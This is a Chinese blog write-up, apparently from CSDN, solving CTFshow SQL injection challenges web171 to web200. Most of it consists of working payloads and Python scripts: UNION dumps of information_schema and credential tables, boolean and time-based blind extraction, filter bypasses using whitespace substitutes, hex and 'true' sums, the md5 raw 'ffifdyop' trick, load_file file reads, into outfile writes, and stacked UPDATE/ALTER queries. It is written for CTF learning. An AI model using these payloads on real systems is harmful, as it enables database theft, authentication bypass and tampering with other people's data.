CTFshow——SQL注入【Part 1】

SQL注入有趣姿势总结


web171——常规操作~

2' and 1=1 # 
2' or 1=1 #
数据接口请求异常:parsererror

2' or 1=1 -- -
回显正常,且爆出所有信息,说明“-- -”其效果了 。“#”这种注释方式不成功

2' union select 1,2 -- -
数据接口请求异常:parsererror

2' union select 1,2,3 -- -
成功回显1,2,3 

2' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database() -- -

2' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' -- -

2' union select 1,database(),group_concat(id,username,password) from ctfshow_user -- -





web172——字段数改变

2' order by 3 -- -
数据接口请求异常:parsererror

2' order by 2 -- -
成功回显

2' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()-- -

2' union select 1,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user2' -- -

2' union select 1,group_concat(id,username,password) from ctfshow_user2 -- -





web173——hex() 、to_base64()

返回逻辑中:如果出现flag就不返回,因此可以通过16进制转化
https://www.bejson.com/convert/ox2str/这是16进制转字符串的网站

base64也可以

1' union select 1,2,3 -- -

'union select id,username,password from ctfshow_user3 --+

'union select id,hex(username),hex(password) from ctfshow_user3 --+

web174——盲注

过滤了数字,字符(串)需要加上引号,否则会报错!

1' union select da,da --+
报错不能回显

1' union select "da","da" --+
正常能够回显da,da

盲注脚本(参照feng师傅的)

import requests
url="http://6865ed25-225e-48ac-934d-4bed3e538422.chall.ctf.show:8080/api/v4.php"
flag=''

for i in range(1,100):
    max=128
    min=32 
    while 1:
        middle=min+((max-min)//2) #中间数
        if min==middle:
            flag+=chr(middle)
            print(flag)
            break
        payload="?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),%d,1))<%d,'xiao','da') -- -"%(i,middle)
        res=requests.get(url=url+payload).text
        print(res)
        if "xiao" in res:
            max=middle
        else:
            min=middle

web175——盲注

\xnn 匹配ASCII代码中十六进制代码为nn的字符
[\x00-\x7f] 匹配ASCII值从0-127的字符

解法一:
select是不能考虑了,输出不了东西,那么只能时间盲注(脚本跑不出来…可能哪里错了吧)

1' and sleep(8)--+
成功延时
import requests
import time

url='http://7f842ee9-77f9-406c-b0ad-101b9292d0fa.chall.ctf.show:8080/api/v5.php'

flag=''
for i in range(1,100):
    length=len(flag)
    min=32
    max=128
    while 1:
        j=min+(max-min)//2
        if min==j:
            flag+=chr(j)
            print(flag)
            break

        payload="?id=' and if(ascii(substr((select group_concat(password) from ctfshow_user5 where username='flag'),%d,1))<%d,sleep(2),0) -- -"%(i,j)

        start_time=time.time()
        r=requests.get(url=url+payload).text
        end_time=time.time()
        #print(r)


        if (end_time-start_time)>=2):
            max=j
        else :
            min=j

解法二:
既然不能显示给我们,可以尝试写入文件into outfile '/var/www/html/1.txt'即可写入

' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt' -- -





web176——大写绕过

' union Select 1,2,3 --+

' union Select 1,2,password from ctfshow_user  --+





web177——绕过空格

除了空格,在代码中可以代替的空白符还有:

%0a
%0b
%0c
%0d
%09
%a0(在特定字符集才能利用)
以上均为URL编码

/**/组合
括号
1'%0dor%0d1=1%0d--+

1'or'1'='1'--+    这种也是不错的选择





web178——%23

%23代替注释符--

1'%09union%09select%091,2,3%23

1'%09union%09select%091,2,password%09from%09ctfshow_user%23





web179——%0c

%0c代替空格

1'or'1'='1'%23

1‘%0cor%0c1=1%23





web180——优先级 and > or

%23也被过滤,这样的话注释符都被过滤了

Y4师傅的解法:

'or(id=26)and'1'='1  # ()代替空格

这其中就是因为在MySQL中
比较级:and > or

where username !='flag' and id = ''or(id=36)and'1'='1' limit 1
where (username !='flag' and id = '')or( id=36 and'1'='1') limit 1
因为or的存在,相当于要select两次,但又因为or左边是为0的,右边为id=26,所以只select右边
完整的sql语句变为:select id,username,password from ctfshow_user where id=26 limit 1

详细可以看看下面的列子体会这其中的比较级

MariaDB [test]> select * from stu;
+----+-------+--------+
| id | name  | passwd |
+----+-------+--------+
|  1 | Lisa  | 123456 |
|  2 | LaoLi | 667788 |
|  3 | DMIND | abcdef |
|  4 | zzZ   | fedcba |
+----+-------+--------+
4 rows in set (0.000 sec)

MariaDB [test]> select * from stu where name="DMIND" and id='' or id=4 and '1'='1';
+----+------+--------+
| id | name | passwd |
+----+------+--------+
|  4 | zzZ  | fedcba |
+----+------+--------+
1 row in set (0.050 sec)

MariaDB [test]> select * from stu where name="DMIND" and id='3' or id=4 and '1'='1';
+----+-------+--------+
| id | name  | passwd |
+----+-------+--------+
|  3 | DMIND | abcdef |
|  4 | zzZ   | fedcba |
+----+-------+--------+
2 rows in set (0.000 sec)

MariaDB [test]> select * from stu where name="DMIND" and id='3' or id=4 and '1'='';
+----+-------+--------+
| id | name  | passwd |
+----+-------+--------+
|  3 | DMIND | abcdef |
+----+-------+--------+
1 row in set (0.000 sec)





web181——优先级 and > or

  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select/i', $str);
  }

似乎全部的空格符都被过滤了,但括号还能用。还是利用上题的优先级来做

web182——优先级 and > or

  function waf($str){
    return preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i', $str);
  }

同上面一样的做法




web183——利用where 'xx' like 'xx'盲注

还是通过盲注,利用了where like这样的模糊搜索语句一个个盲注出内容

tableName=(ctfshow_user)where(pass)like'ctfshow{%'
% :在sql中通配 N 个字符
_ :通配任意一个字符
会发现返回结果  $user_count = 1;代表匹配到了一个,利用此模式盲注
import requests
import sys
url="http://530d4f03-2859-4c7f-bfaa-5b4398a0489a.chall.ctf.show:8080/select-waf.php"
letter="0123456789abcdefghijklmnopqrstuvwxyz-{}"
flag="ctfshow{"
for i in range(100):
    for j in letter:
        data={"tableName":"(ctfshow_user)where(pass)like'{}%'".format(flag+j)}
        res=requests.post(url=url,data=data).text
        #print(res)
        if "$user_count = 1;" in res:
            flag+=j
            print(flag)
            break
        if j=="}":
            sys.exit()
            





web184——利用xx join on盲注、16进制

//对传入的参数进行了过滤
  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

盲注点:having

where过滤了,但我们可以配合group by使用having 这样依旧可以起到模糊查询的效果,毕竟wherehaving都又条件选择的功能,having要有group by 分组才能使用

还有一个问题就是引号不能使用了,看了师傅们的做法才发现,原来可以通过16进制的方式绕过
引号
,形式是类似于:0x63746673686f777b25也就是一个0x+16进制数字的组合,记下来了记下来了

先尝试这种做法是否成功。在这里插入图片描述
发现是OK的,那就写脚本盲注

import requests
import sys
def change2hex(s):
    zimu=""
    zimu2=""
    for i in s:
        zimu+=hex(ord(i))      
    zimu2=zimu.replace("0x","")
    # print(zimu)
    # print(zimu2)
    return zimu2
url="http://c5e7721e-dacf-489c-bad1-4d6e733b004a.chall.ctf.show:8080/select-waf.php"
letter="0123456789abcdefghijklmnopqrstuvwxyz-{}"
flag="ctfshow{"
for i in range(100):
    for j in letter:
        data={'tableName':'ctfshow_user group by pass having pass like {}'.format("0x"+change2hex(flag+j+"%"))}
        res=requests.post(url=url,data=data).text
        #print(res)
        if "$user_count = 1;" in res:
            flag+=j
            print(flag)
            break
        if j=="}":
            sys.exit()


师傅们还有别的盲注点:on
right join 、 left join 、inner joinon都是作为连接条件

import requests
import sys
def change2hex(s):
    zimu=""
    zimu2=""
    for i in s:
        zimu+=hex(ord(i))      
    zimu2=zimu.replace("0x","")
    # print(zimu)
    # print(zimu2)
    return zimu2
url="http://c5e7721e-dacf-489c-bad1-4d6e733b004a.chall.ctf.show:8080/select-waf.php"
letter="0123456789abcdefghijklmnopqrstuvwxyz-{}"
flag="ctfshow{"
for i in range(100):
    for j in letter:
        data={'tableName':'ctfshow_user as a right join ctfshow_user as b on b.pass like {}'.format("0x"+change2hex(flag+j+"%"))}
        res=requests.post(url=url,data=data).text
        #print(res)
        if "$user_count = 43;" in res:
            flag+=j
            print(flag)
            break
        if j=="}":
            sys.exit()





web185——true

  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

数字被过滤了,那么用16进制的做法也不行了。但在MySQL中有别的方式表示数字
从Y4师傅那儿找来的图:true表示1,那么多个true累加即可得到任意数(只不过可能会很麻烦)
在这里插入图片描述

所有可见字符都能用ASCII码表示,MySQL中再利用chr(ASCII)转化为字符
在这里插入图片描述
脚本参照了bfeng师傅的:

import requests
import sys
# def change2hex(s):
#     zimu=""
#     zimu2=""
#     for i in s:
#         zimu+=hex(ord(i))      
#     zimu2=zimu.replace("0x","")
#     # print(zimu)
#     # print(zimu2)
   
def createNum(n):
    num ="true"
    if n==1:
        return "true"
    else:
        for i in range(n-1):
            num += "+true"
    return num

def createstrNum(m):
    _str=""
    for j in m:
        _str+=",chr("+createNum(ord(j))+")"
    return _str[1:]


url="http://a91de14c-1683-48cf-bc67-4f81da3cfa96.chall.ctf.show:8080/select-waf.php"
letter="0123456789abcdefghijklmnopqrstuvwxyz-{}"
flag="ctfshow{"
for i in range(100):
    for j in letter:
        data={'tableName':'ctfshow_user group by pass having pass like concat({})'.format(createstrNum(flag+j+"%"))} 
        res=requests.post(url=url,data=data).text
        #print(res)
        if "$user_count = 1;" in res:
            flag+=j
            print(flag)
            break
        if j=="}":
            sys.exit()





web186——true

  function waf($str){
    return preg_match('/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\%|\<|\>|\^|\x00|\#|\x23|[0-9]|file|\=|or|\x7c|select|and|flag|into|where|\x26|\'|\"|union|\`|sleep|benchmark/i', $str);
  }

还是可以用web185的方法




web187——md5($pass,true)绕过

先给出两个符合条件的字符串:ffifdyop、129581926211651571912466741651878684928

  $sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";
  
  $username = $_POST['username'];
    $password = md5($_POST['password'],true);

    //只有admin可以获得flag
    if($username!='admin'){
        $ret['msg']='用户名不存在';
        die(json_encode($ret));
    }
      

注意到md5(string,true)这个函数

md5(string,raw) 其中raw参数可选,且有两种选择

  • FALSE:32位16进制的字符串
  • TRUE:16位原始二进制格式的字符串

当有true这个参数,会以二进制的形式输出16个字符。返回的这个原始二进制不是普通的0 1二进制。
举例:

content: ffifdyop

md5(content[,false]): 276f722736c95d99e921722cf9ed621c

md5(content,true): 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c

string: 'or'6]!r,b

所以返回的原始二进制中,\xc9 \x99 \xe9 \xf9 \xed \x1c都表示一个字符的,所以只占一位。且这些都是乱码、不可见字符
因此最终相当于字符串:'or'6]!r,b

回到此题:md5($password,true)怎么绕过?
利用ffifdyop即可,代入SQL语句

select count(*) from ctfshow_user where username = '$username' and password= ''or'6]!r,b'
也就是:
select count(*) from ctfshow_user where username = '$username' and password= '' or '6]!r,b'
也就是:
select count(*) from ctfshow_user where FALSE or TRUE
or的存在配合后面的TRUE就绕过了

引用一下bfeng师傅的:MySQL进行布尔判断的知识

在mysql里面,在用作布尔型判断时,以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。当然在我后来测试中发现,不只是1开头,只要是数字开头都是可以的。
当然如果只有数字的话,就不需要单引号,比如password=‘xxx’ or 1,那么返回值也是true。(xxx指代任意字符)





web188——MySQL中的弱比较

 $sql = "select pass from ctfshow_user where username = {$username}";
# username两边没有引号!

你可以尝试一下在数据库中使用这样的语句:
select * from stu where name=0很有可能是能查询出东西的,即使你没有name为0的数据

这是因为数据库进行了弱比较,它select出所有name是以字母为开头的数据
以字母为开头的字符型数据在与数字型比较时,会强制转化为0,再与数字比较(这里很类似于PHP的弱比较)
假设我们username为0,那么就会相等,从而匹配成功

$row['pass']==intval($password)这里也是弱比较,$row['pass']如果是字母开头就会转为0

尝试

username=0&password=0

是成功的,这也说明数据库中的username与password是以字母开头的字符型数据,当然如果某个数据不是以字母开头,我们是匹配不上这个数据的

所以还有一种:

username=1||1&password=0

利用了逻辑与绕过了username的判断。但绕过password的原理和上面一样





web189——load_file结合regexp盲注

  if($row['pass']==$password){
      $ret['msg']='登陆成功';
    }

继续尝试username=0&password=0返回密码错误,原因在于password不再是以字母开头的字符型数据了
username=1&password=0返回查询失败,因为没有1这个用户

题目hint提示flag在api/index.php文件中,另外一个文件,应该能想起有关文件的函数,比如load_file()
load_file()结合regexp寻找字符并盲注

import requests
import sys
flag="ctfshow{"
url="http://9402b96a-bff0-480e-8e33-86347958c901.chall.ctf.show:8080/api/index.php"
letter="0123456789abcdefghijklmnopqrstuvwxyz-{}"
for i in range(100):
    for j in letter:
        data={
            'username':"if(load_file('/var/www/html/api/index.php')regexp('{}'),0,1)".format(flag+j),
            'password':0}
        res=requests.post(url=url,data=data).text
        print(res)
        if r"\u5bc6\u7801\u9519\u8bef" in res: 
            flag+=j
            print(flag)
            break 
        if j=="}":
            sys.exit()
        





web190——bool盲注

' or 1='1	闭合前后引号
也可以注释符:  ' or 1 -- -
import requests
flag=""
url="http://63c27ae8-31b1-40a8-90b4-b9daadc4c259.chall.ctf.show:8080/api/"
# data1="'or '"
for i in range(100):
    max=128
    min=32
    while 1:    
        middle=min+((max-min)//2)
        if min==middle:
            flag+=chr(middle)
            print(flag)               
            break                   
        payload="' or if(ascii(substr((select group_concat(f1ag) from ctfshow_fl0g),{},1))<{},1,0) ='1".format(i,middle)
        #payload="' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{},1,0) ='1".format(i,middle)
        #payload="' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{},1,0) ='1".format(i,middle)
        data={                             
            'username':payload,
            'password':0
        }
        res = requests.post(url=url,data=data).text
        print(res)
        if "\\u5bc6\\u7801\\u9519\\u8bef" in res:
            max=middle
        else:
            min=middle





web191——bool盲注、ord

在处理单字节而非多字节字符上,ascii()ord()都是可以得到一样的结果脚本同上




web192——bool盲注

import requests
import sys
flag=""
url="http://9a60b59e-56ea-404f-8818-ce16b1da34c1.chall.ctf.show:8080/api/"
letter="0123456789abcdefghijklmnopqrstuvwxyz-{}"
# data1="'or '"
for i in range(1,100):
    for j in letter:                    
        payload="' or if(substr((select group_concat(f1ag) from ctfshow_fl0g),{},1)regexp('{}'),1,0) ='1".format(i,j)
        #payload="' or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{},1,0) ='1".format(i,middle)
        #payload="' or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{},1,0) ='1".format(i,middle)
        data={                             
            'username':payload,
            'password':1     
        }
        res = requests.post(url=url,data=data).text
        print(res)
        if "\\u5bc6\\u7801\\u9519\\u8bef" in res:
            flag+=j
            print(flag)
            break
        if j=="}":
            sys.exit()





web193——bool盲注

既然不能用substr()匹配一个字符,那就利用like xx%直接匹配

import requests
import sys
flag=""
url="http://66133a8d-3bd2-4aef-b535-3d39c4f87f1c.challenge.ctf.show:8080/api/"
letter="0123456789abcdefghijklmnopqrstuvwxyz-_,{}"
# data1="'or '"
for i in range(1,100):
    for j in letter:                    
        k=flag+j
        #payload= "' or if((select group_concat(f1ag) from ctfshow_flxg) like '{}',1,0) ='1".format(flag+j+"%")
        #payload= "' or if((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg') like '{}',1,0) ='1".format(flag+j+"%")
        payload= "' or if((select group_concat(table_name) from information_schema.tables where table_schema=database()) like '{}',1,0) ='1".format(flag+j+"%")
        data={                             
            'username':payload,
            'password':1     
        }
        res = requests.post(url=url,data=data).text
        print(res)
        if "\\u5bc6\\u7801\\u9519\\u8bef" in res:
            flag+=j
            print(flag)
            break
        if j=="}":
            sys.exit()





web194——bool盲注、LOCATE

用上面脚本的payload是可以的,但看Y4师傅还有别的payload
用到了locate(是我没学过的东西…)

LOCATE(substr,string)
返回字符串string第一次出现子字符串的位置 subtr,从1开始计数
例如:SELECT LOCATE(‘M’, ‘DMIND’) 返回 2

构造这样的payload:

payload2="' or if((locate('{}',(select group_concat(f1ag) from ctfshow_flxg limit 0,1))=1),1,2)='1".format(flag+j)
import requests
import sys
flag=""
url="http://b3ff493e-ac8c-4add-8266-45f927e01fa7.challenge.ctf.show:8080/api/"
letter="0123456789abcdefghijklmnopqrstuvwxyz-{_,}"
# data1="'or '"
for i in range(1,100):
    for j in letter:                    
        k=flag+j

        payload2="' or if((locate('{}',(select group_concat(f1ag) from ctfshow_flxg limit 0,1))=1),1,2)='1".format(flag+j)
        #payload1= "' or if((select group_concat(f1ag) from ctfshow_flxg) like '{}',1,0) ='1".format(flag+j+"%")
        #payload1= "' or if((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg') like '{}',1,0) ='1".format(flag+j+"%")
        #payload1= "' or if((select group_concat(table_name) from information_schema.tables where table_schema=database()) like '{}',1,0) ='1".format(flag+j+"%")
        
        data={                             
            'username':payload2,
            'password':1     
        }
        res = requests.post(url=url,data=data).text
        print(res)
        if "\\u5bc6\\u7801\\u9519\\u8bef" in res:
            flag+=j
            print(flag)
            break
        if j=="}":
            sys.exit()





web195——堆叠注入、UPDATE

一看过滤了and or还布尔盲注个鬼…
再看引号、空格没了,陷入了呆滞之中…

  //拼接sql语句查找指定ID用户
  $sql = "select pass from ctfshow_user where username = {$username};";

显然,没有了引号但这里想要查询admin这样字符串的用户名却一定要引号括起字符串。 那么就是用16进制绕过引号
admin <=> 0x61646d696e
当然,因为题目没有了引号,0也是能查询出数据的,这在前面有提及过了

看了Y4大佬的操作,update注入,直接利用反引号改pass字段数据
但这种操作需要知道字段与表名…

0x61646d696e;update`ctfshow_user`set`pass`=1
0;update`ctfshow_user`set`pass`=1





web196——堆叠注入

要求用户名不能超过16个字符。奥,想了会儿,不会,满怀期待想知道大佬们能有什么神操作绕过,结果说select并没被过滤…
???
那就是直接select出一个密码,$row[0]就会等于我们select的内容

1;select(7)
7





web197——堆叠注入、ALTER

过滤了update、select
思路是更改字段名,将pass改为id,pass不好爆破,id(盲猜就是自然数递增)总好爆破吧?

将ctfshow_user表中,字段名改为Balter table ctfshow_user change `A` `B` varchar(100)
import requests
url="http://990dbf27-eca8-4c1c-92a6-cd5b7b780304.challenge.ctf.show:8080/api/"

for i in range(100):
    if i ==0:
        payload="0x61646d696e;alter table ctfshow_user change `pass` `id2` varchar(100);alter table ctfshow_user change `id` `pass` varchar(100)"

        data={
            'username':payload,
            'password':i
        }
        res=requests.post(url=url,data=data).text
        print(res)
    
    data2={
            'username':'0x61646d696e',
            'password':i     
    }
    res2=requests.post(url=url,data=data2).text
    print(res2)
    if "ctfshow{" in res2:
        print(i)
        print(res)
        break






web198——堆叠注入

解法一:可以继续用上题的做法

解法二:但值得注意的是:这题没有对password进行数字检查,也就是说password可以是字母了!又因为是堆叠注入,不得尝试一下show tables吗?

1;show tables
ctfshow_user





web199、200——堆叠注入

过滤了(,是用不了web197的脚本了

1;show tables
ctfshow_user
  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值